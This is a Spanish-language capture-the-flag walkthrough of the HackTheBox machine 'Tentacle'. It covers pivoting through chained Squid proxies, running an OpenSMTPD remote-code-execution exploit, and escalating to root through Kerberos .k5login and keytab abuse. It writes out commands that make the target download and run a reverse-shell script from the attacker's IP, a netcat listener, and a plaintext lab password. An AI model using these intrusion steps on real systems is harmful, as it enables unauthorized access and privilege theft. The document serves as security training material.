
🐙 Tentacle | WriteUp
En esta máquina vamos a navegar por diferentes Squid proxies para acabar encontrando un servicio vulnerable del cuál nos aprovecharemos para obtener acceso al sistema y posteriormente escalar privilegios abusando de kerberos.
Organización
Nos creamos nuestro directorio de trabajo para ordenar todas las fases realizadas en esta intrusión.
En mi caso tengo un script llamado mkt nivel de .zshrc que me permite crear la estructura de trabajo correspondiente:
1 | mkt () { |
Reconocimiento
Empezamos con el patrón típico al enfrentarnos a una máquina, comprobaremos si dicha máquina nos responde a una traza ICMP para ver si está activa.
1 | ping -c 1 10.10.10.224 |
Recordar que si el TTL no se ha modificado cada sistema operativo tiene uno diferente, ya solo con un simple ping tenemos un indicio de que esta máquina es Linux. Más cerca de 64 Linux, cerca de 128 Windows, más información en subinsb.com.
Procedemos con el típico escaneo de nmap de ‘to’ la vida.
1 | sudo nmap -p- --open -sS --min-rate 4500 -vvv -n -Pn 10.10.10.224 -oG allPorts |
En este escaneo yo indico que se esta haciendo un -sS(Syn Scan) para dejarlo más claro, pero por defecto cuando se utiliza nmap con privilegios de administrador se utiliza este escaneo, si no se utiliza sT(Syn TCP).
Si utilizamos la herramienta extractPorts(creada por s4vitar) para extraer estos puertos en un formato más legible. Ojo en lugar de utilizar la utilidad xclip utilizo wl-copy.
1 | extractPorts () { |
Con los puertos escaneados podemos tratar de lanzar unos scripts básicos de enumeración y reconocmiento para ver con que nos vamos a pelear.
1 | sudo nmap -sCV -p22,53,88,3128 10.10.10.224 -oN targeted |
¿Qué estamos viendo?
- Servicio ssh disponible, versión OpenSSH 8.0, no mucho por hacer aquí de momento.
- Servicio dns: Podemos enumerar información y intentar hacer un axfr(ataque de transferencia de zona)
- Servicio kerberos. Se me ocurre enumeración de usuarios por fuerza bruta, pero vamos a seguir avanzando.
- Servicio squid proxy. Vemos que dispone de un header y title, interesante.
- Service Info: Host: REALCORP.HTB -> El encabezado Host nos indica el nombre de un dominio.
Virtual Hosting: Un servidor puede tener puede servir múltiples sitios web diferentes con solo una IP.
En la configuración de algunos servidores web esperan un nombre de dominio o subdominio en lugar de una IP, por eso lo añadimos al fichero fichero /etc/hosts que asocia el nombre con la IP indicada.
1 | 10.10.10.224 REALCORP.HTB |
Vamos a echarle un primer vistazo al servicio web del squid proxy. Nos metemos a un navegador web e inspeccionamos la página(podemos acceder a ella mediante 10.10.10.224 o realcorp.htb)
Aquí podemos apreciar información de utilidad como un correo electrónico del “cache administrator”(un correo con el nombre de un usuario y el dominio empresarial.) También un poquito más abajo nos encontramos que este error ha sido generado por “srv01.realcorp.htb” lo que parece ser el nombre del servidor que esta alojando este servicio entre otros. Lo añadiremos también al fichero /etc/hosts.
Ah recomiendo documentar todas las pruebas encontradas correos, servicios… Puede que nos haga falta posteriormente.
Enumeración dns
Vemos que el servicio dns está disponible, así que vamos a realizar una enumeración básica para ver que podemos obtener.
Realizamos una consulta dns básica al servidor para ver con que nos responde:
1 | dig @10.10.10.224 realcorp.htb |
No podemos sacar gran información de aquí aunque se puede ver un root.realcorp.htb, lo tendremos en cuenta y seguimos con la enumeración.
Pedimos información sobre los name server:
1 | dig @10.10.10.224 realcorp.htb ns |
Encontramos ns.realcorp.htb con un registro A con la IP 10.197.243.77. Mmm curioso, una IP a la que no podemos llegar de momento por el segmento de red donde estamos situados.
Seguimos enumerando, vamos los “mail server”
1 | dig @10.10.10.224 realcorp.htb mx |
Volvemos a ver root.realcorp.htb
Ataque de transferencia de zona
Vamos a probar a realizar una ataque de transferencia de zona para obtener todos los registros DNS del dominio.
Para ello ejecutamos el siguiente comando:
1 | dig @10.10.10.224 realcorp.htb axfr |
dnsenum
Con la herramienta dnsenum vamos a realizar fuerza bruta para intentar enumerar subdominios a través del DNS.
1 | dnsenum --dnsserver 10.10.10.224 --thread 50 -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt real |
Podemos ver que encontramos más subdominios: proxy.realcorp.htb con la ip 10.197.243.77 y wpad.realcorp.htb con 10.197.243.31.
Recopilamos, tenemos lo siguiente:
- root.realcorp.htb
- 10.197.243.77 ns.realcorp.htb
- 10.197.243.77 proxy.realcorp.htb
- 10.197.243.31 wpad.realcorp.htb
Vamos a meterlo todo al archivo /etc/hosts excepto el root.realcorp.htb
¿Cómo podemos llegar a dichas IPs?… ¿Y si intentamos usar el squid proxy?
Enumeración Squid Proxy
¿Cómo enumeramos un squid proxy? ¿Qué podemos hacer con él?
Objetivos a probar con el squid proxy
- Checkear si podemos ver algún puerto que no se pueda ver desde el exterior.
- Comprobar si podemos alcanzar alguna IP obtenida anteriormente.
- Probar a alcanzar alguna IP vista anteriormente utilizando la tarjeta de red interna en lugar de la externa.
Bien, para ello vamos a utilizar proxychains y su archivo de configuración /etc/proxychains.conf y vamos a añadir al final del todo la siguiente línea:
1 | http 10.10.10.224 3128 |
Descubrir puertos que no se pueden ver desde el exterior
Con esto estamos indicando que queremos pasar por este proxy web para ver si encontramos algo más. La idea es mirar si existe algún servicio abierto que no podemos ver desde el exterior.
1 | proxychains -q nmap -sT -vvv -n -Pn 127.0.0.1 |
Puedes ver los proxies por los que va pasando sin el parámetro -q.
Podemos ver el puerto 464, 749 nuevos.
Si realizamos un escaneo de scripts y versiones básicas sobre dichos puertos vemos lo siguiente:
De esos servicios no vamos a conseguir nada, así que seguimos avanzando en nuestra enumeración.
Intentar alcanzar otras IPs
Pasamos al segundo objetivo, intentar alcanzar las IPs obtenidas desde el squid proxy.
1 | proxychains -q nmap -sT -Pn -n -v 10.197.243.77 |
Bueno, ningún escaneo nos devuelve nada, así que nada se acaba la máquina aquí, gracias por leer el writeup.
Intentar alcanzar otras IPs cambiando al adaptador interno
Puede que la máquina objetivo a la que nos estamos enfrentando no tenga más dispositivos que podamos ver. Las máquinas pueden tener una tarjeta de red externa y otra interna, nosotros estamos usando la externa y si mandamos el tráfico a través de la interna ¿veremos más máquinas?
Para usar la interfaz interna vamos a añadir a nuestro archivo /etc/proxychains.conf la siguiente línea:
1 | 127.0.0.1 3128 |
De momento tendríamos estas dos en este orden:
1 | http 10.10.10.224 3128 |
Y checkear que estéis usando strict_chain para que se ejecuten los proxies en el orden que indicamos.
Si realizamos un escaneo ahora con nmap, veremos que si logramos alcanzar la ip 10.197.243.31.
1 | proxychains -q nmap -sT -n -Pn -v 10.197.243.77 |
Si considerás que el escaneo va muy lento puedes crearte un script en bash para agilizarlo:
1 |
|
En cambio la IP 10.197.243.31(wpad.realcorp.htb) no devuelve ningún puerto abierto, así que podemos imaginar que no llegamos o no tiene ningún puerto tcp abierto.
Bueno, hemos visto que la máquina que podemos ver también tiene el puerto squid proxy abierto, así que podemos añadirlo a nuestro /etc/proxychains para ver si alcanzamos dicho equipo que nos queda o descubrimos alguno más.
Y intentamos llegar al servidor wpad.realcorp.htb con el script realizado(recomiendo lanzarlo varias veces, puede que no aparezca toda la información necesaria o se salte algún puerto)
Genial, podemos ver que llegamos al servidor. Podemos ver que el puerto 80 esta abierto, http, esto me interesa, para ver el contenido de la página podemos lanzar un simple curl.
1 | proxychains -q curl http://10.197.243.31/ |
Si lo haces al nombre del dominio sale un 403 Forbidden:
1 | proxychains -q curl http://wpad.realcorp.htb |
Con la IP aparece una página por defecto de red hat y nginx, en cambio con el dominio vemos que se esta realiando virtual hosting y obtenemos un 403 forbidden, si investigamos más sobre lo que es wpad y acabamos en la página de hacktricks.boitatech.com.br podemos ver que los clientes para que carguen la configuación automáticamente del proxy acceden por defecto a /wpad.dat, así que vamos a probar a hacer un curl de esta ruta.
1 | proxychains -q curl -s http://wpad.realcorp.htb/wpad.dat | bat -l js |
Y vemos dos rangos diferentes, el rango que 10.197.243.0 ya lo tenemos(de ahí sale proxy y wpad), en cambio, el rango 10.241.251.0 es nuevo.
Bien, pues a partir de aquí tenemos dos caminos, la máquina wpad también tenía el puerto 3128 abierto, podemos intentar ver nuevos activos en la nueva subred utilizando la tarjeta de red interna como hemos visto anteriormente.
O podemos intentar establecer contacto directamente con esta nueva subred.
Lo primero sería modificar el script anterior para que también detecte hosts y para que sea más rápido haremos que solo vea algunos puertos:
1 |
|
Después añadiremos la línea 127.0.0.1 a la configuración de proxychains para ver si podemos enumerar hosts en ese rango desde el adaptador interno.
Si ejecutamos vemos que nos comememos un mojón y no detecta nada, puedes probar con otros puertos, etc, pero ya te adelanto que no vas a conseguir nada.
Así que si si quitamos la línea del archivo de configuración de proxychains y lanzamos otra vez el script veremos que nos detecta dos hosts:
Vemos dos máquinas, uan con el puerto 22 y otra con el puerto 25(por defecto smtp, correo).
La máquina con el puerto 25 abierto me interesa más, así que vamos a lanzar unos scripts básicos de nmap para obtener más información.
1 | proxychains -q nmap -p25 -sCV 10.241.251.113 |
Si utilizamos la herramienta searchsploit podemos encontrar que el servicio esta desactualizado y existe un script basntante peligroso e interesante para nosotros. Al disponer de un servicio de una versión menor podríamos probar a ejecutarlo.
Explotación
Uso de RCE para OpenSNMPD
Bien, pues ya tenemos el primer exploit a probar sobre una máquina, vamos a inspeccionar el código del script y nos lo descargamos(searchsploit -x <path> para inspeccionar y m <path> para descargar).
¿Cómo podemos probarlo? Pues bien, nos podemos abrir un servidor en python y intentar enviar una petición http desde el servidor víctima.
Nos ponemos en escucha con python:
1 | sudo python3 -m http.server 80 |
1 | proxychains -q python3 rce_smtpd.py 10.241.251.113 25 "wget 10.10.14.22" |
Vemos que por abajo no ha llegado nada, ¿porque?. Vamos a revisar el código del script.
Recordemos que al principio, al visualizar la página del primer squid proxy, nos daba un usuario, el usuario “j.nakazawa@realcorp.htb“.
Kerbrute para validar usuarios
Podemos chekear si el usuario existe gracias al servicio kerberos corriendo en la primera máquina, para ello utilizaremos la herramienta kerbrute:
1 | kerbrute userenum --domain realcorp.htb --dc 10.10.10.224 ../data/users.txt |
Es más, no solo es que exista, si no también no tiene el pre-auth activado y nos dumpea el hash. Podéis intentar a crackerlo con john o hashcat, pero no vais a obtener la contraseña.
Modificación del exploit
Vamos a cambiar el usuario root por este ya que hemos visto que es válido.
Si probamos a ejecutar ahora vemos que si llega una conexión, con lo cuál podemos verificar que el exploit funciona.
Si pruebas con curl o wget http://… no llegará la petición… Me quedo con la curiosidad de como el equipo resuelve las peticiones para que solo funcione con wget IP.
Obteniendo una shell
Bien, ahora tenemos varias formas de ganar un acceso, podemos intentar enviar una reverse shell directamente, pero he probado de diferentes maneras y no me ha djeado, por lo tanto voy a crear un archivo index.html para descargarlo con wget en un directorio con permisos como /tmp o /dev/shm y ejecutarlo.
Archivo index.html
1 |
|
Ejecutamos el exploit y nos descargamos la reverse shell en la máquina víctima.
1 | proxychains -q python3 rce_smtpd.py 10.241.251.113 25 "wget 10.10.14.22 -O /dev/shm/rev.sh" |
En lugar de un servidor en python nos ponemos a la escucha con netcat.
1 | sudo nc -nlvp 80 |
Ejecutamos la reverse shell:
1 | bash /dev/shm/rev.sh |
Tratamiento de la tty
El tratamiento es como siempre
1 | script /dev/null -c bash |
Y si vaís a utilizar algún editor como nano, vi… Tenéis que ajustar el tamaño de la terminal:
1 | # En tu consola que tenga el mismo tamaño |
Escalada de privilegios
Si nos vamos al directorio /home/j.nakazawa podemos ver un archivo oculto llamado .msmtprc, en el podemos ver el usuario j.nakazawa y la contraseña en texto claro “sJB}RM>6Z~64_”
Somos usuario root sobre esta máquina(smtp.realcorp.htb).
Si recordarmos, en la primera máquina el servicio ssh estaba habilitado, podemos intentar autenticarnos con dicho usuario, pero vemos que no reconoce la contraseña, pero ¿y si gastamos los tres intentos permitidos que mensaje de error nos aparece?, ¿si utilizamos ssh con la flag -v de verbose que podemos ver?
Bien, pues a mi me llama la atención lo siguiente:
Vemos algo raro, algo fuera de lo común, gssapi-keyex… ¿que es esto?. Vamos a buscarlo en internet. En esta entrada de wikipedia podemos ver que este mecanismo se utiliza con Kerberos.
Para utilizar ssh con kerberos como cliente debemos realizar los siguientes pasos:
Checkear si tenemos instalado el paquete krb5.
Modificar el fichero /etc/krb5.conf o crearlo si no existe con dpkg-reconfigure krb5-config. Se quedaría así:
1 | [libdefaults] |
- Generamos un TGT(Ticket Granting Ticket) con la herramienta kinit, puedes comprobar si tienes algún ticket antes con klist:
Estar como superusuario para ejecutar las siguientes tareas para el correcto funcionamiento.
1 | sudo kinit j.nakazawa@REALCORP.HTB # Pones la contraseña: sJB}RM>6Z~64_ |
1 | sudo ssh -o GSSAPIAuthentication=yes j.nakazawa@srv01.realcorp.htb |
Si quieres borrar los tickets puedes utilizar kdestroy.
j.nakazawa -> admin
La flag esta situada en /home/j.nakazawa/user.txt.
Podemos localizar otro usuario bajo directorio /home, pero no tenemos acceso a él. Si listamos las tareas programadas del sistema veremos que existe un script.
1 | cat /etc/crontab |
Si le echamos un ojo al script vemos que otros tienen capacidad de lectura sobre este.
Con rsync envía todos el contenido del directorio /var/log/squid al directorio /home/admin/ al home del usuario admin. Después comprime algunos ficheros como access.log y cache.log y los elimina.
Podemos aprovecharnos de que se esta empleando kerberos para generar un fichero .k5login que nos permita indicar los principals que estan autorizados a acceder a ese usuario local.
Entonces si nos vamos a la ruta “/var/log/squid”, comprobamos los permisos que tenemos sobre él.
Como estamos en el grupo squid(comando id) podemos acceder y escribir en el directorio, pero no listar.
Así que accedemos a él y creamos el fichero:
1 | cd /var/log/squis |
Y ahora si intentamos conectarnos por ssh.
1 | sudo ssh -o GSSAPIAuthentication=yes admin@srv01.realcorp.htb |
Esto funciona gracias al TGT creado anteriormente como el usuario j.nakazawa, el cuál tiene permiso para acceder como admin gracias al fichero .k5login añadido gracias a la tarea cron.
admin -> root
Vemos que estamos en el grupo admin con el comando id.
Y si buscamos ficheros que tengan el grupo admin:
1 | find / -type f -broup admin 2>/dev/null | grep -vE "proc|cgroup" |
Encontramos el siguiente fichero sospechoso “/etc/krb5.keytab”. Este fichero se utiliza para autenticar a los usuarios ante el KDC. Este fichero solo debe tener acceso el usario root, pero nosotros como admin también podemos leerlo(aunque sea un binario).
Entonces vamos a ver las herramientas de kerberos, tenemos ksu que nos sirve para obtener privilegios como root normalmente, si la usamos nos pide la contraseña de root y no la tenemos, ni tampoco un ticket, así que cancelamos.
Tenemos el comando klist para ver los tickets, pero no nos deja ejecutarlo, pero el comando klist nos permite pasar un keytab y ver los principals almecandos en él.
Podemos utilizar la herramienta kadmin que nos sirve para administrar el servidor de kerberos
1 | kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB |
Y entramos a una consola interactiva, si usamos el caracter ? podremos ver los comandos a ejecutar.
Entre ellas vemos la opción de add_principal/add_princ. ¿Entonces si añadimos el principal de root? ¿Podremos resetear la contraseña?
1 | addprinc root@REALCORP.HTB |
Efectivamente, sobreescribimos el principal root con este nuevo que nos estamos creando.
Si volvemos a ejecutar ksu y introducimos la misma contraseña.
Fuentes
Basado en el write-up de s4vitar